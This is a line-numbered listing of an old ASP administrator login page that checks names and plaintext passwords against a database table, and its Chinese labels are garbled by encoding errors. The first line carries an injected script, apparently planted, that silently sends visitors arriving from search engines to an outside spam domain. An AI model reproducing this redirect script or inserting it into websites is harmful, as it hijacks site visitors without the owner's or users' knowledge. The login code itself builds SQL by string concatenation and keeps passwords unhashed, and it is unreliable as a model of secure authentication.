d:\wwwroot\wuchunhua\ͨѶ¼\xys\login.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<!--#include file="Connections/conn.asp" -->
003:
<%
004:
' *** Validate request to log in to this site.
005:
MM_LoginAction = Request.ServerVariables("URL")
006:
If Request.QueryString<>"" Then MM_LoginAction = MM_LoginAction + "?" + Request.QueryString
007:
MM_valUsername=CStr(Request.Form("textfield"))
008:
If MM_valUsername <> "" Then
009:
MM_fldUserAuthorization=""
010:
MM_redirectLoginSuccess="del.asp"
011:
MM_redirectLoginFailed="loginerr.htm"
012:
MM_flag="ADODB.Recordset"
013:
set MM_rsUser = Server.CreateObject(MM_flag)
014:
MM_rsUser.ActiveConnection = MM_conn_STRING
015:
MM_rsUser.Source = "SELECT admin, password"
016:
If MM_fldUserAuthorization <> "" Then MM_rsUser.Source = MM_rsUser.Source & "," & MM_fldUserAuthorization
017:
MM_rsUser.Source = MM_rsUser.Source & " FROM admin WHERE admin='" & replace(MM_valUsername,"'","''") &"' AND password='" & replace(Request.Form("textfield2"),"'","''") & "'"
018:
MM_rsUser.CursorType = 0
019:
MM_rsUser.CursorLocation = 2
020:
MM_rsUser.LockType = 3
021:
MM_rsUser.Open
022:
If Not MM_rsUser.EOF Or Not MM_rsUser.BOF Then
023:
' username and password match - this is a valid user
024:
Session("MM_Username") = MM_valUsername
025:
If (MM_fldUserAuthorization <> "") Then
026:
Session("MM_UserAuthorization") = CStr(MM_rsUser.Fields.Item(MM_fldUserAuthorization).Value)
027:
Else
028:
Session("MM_UserAuthorization") = ""
029:
End If
030:
if CStr(Request.QueryString("accessdenied")) <> "" And false Then
031:
MM_redirectLoginSuccess = Request.QueryString("accessdenied")
032:
End If
033:
MM_rsUser.Close
034:
Response.Redirect(MM_redirectLoginSuccess)
035:
End If
036:
MM_rsUser.Close
037:
Response.Redirect(MM_redirectLoginFailed)
038:
End If
039:
%
>
040:
<html>
041:
<head>
042:
<title>Untitled Document</title>
043:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
044:
</head>
045:
<body bgcolor="#FFFFFF" text="#000000">
046:
<form name="form1" method="post" action="
<%
=MM_LoginAction
%
>">
047:
<table width="23%" border="1" cellspacing="2" cellpadding="0" align="center" bordercolor="#FFFFFF">
048:
<tr>
049:
<td bordercolor="#000000" bgcolor="#99CC00" colspan="2">
050:
<div align="center">¹ÜÀíÔ±µÇ½</div>
051:
</td>
052:
</tr>
053:
<tr>
054:
<td bordercolor="#000000" height="4" width="25%">Admin </td>
055:
<td bordercolor="#000000" height="4" width="75%">
056:
<input type="text" name="textfield">
057:
</td>
058:
</tr>
059:
<tr>
060:
<td bordercolor="#000000" height="3" width="25%">pass </td>
061:
<td bordercolor="#000000" height="3" width="75%">
062:
<input type="password" name="textfield2">
063:
</td>
064:
</tr>
065:
</table>
066:
<p align="center">
067:
<input type="submit" name="Submit" value="怫">
068:
<a href="default.asp"><font size="2"><br>
069:
ÎÒ²»ÊǹÜÀíÔ±</font></a></p>
070:
</form>
071:
</body>
072:
</html>
073:
074: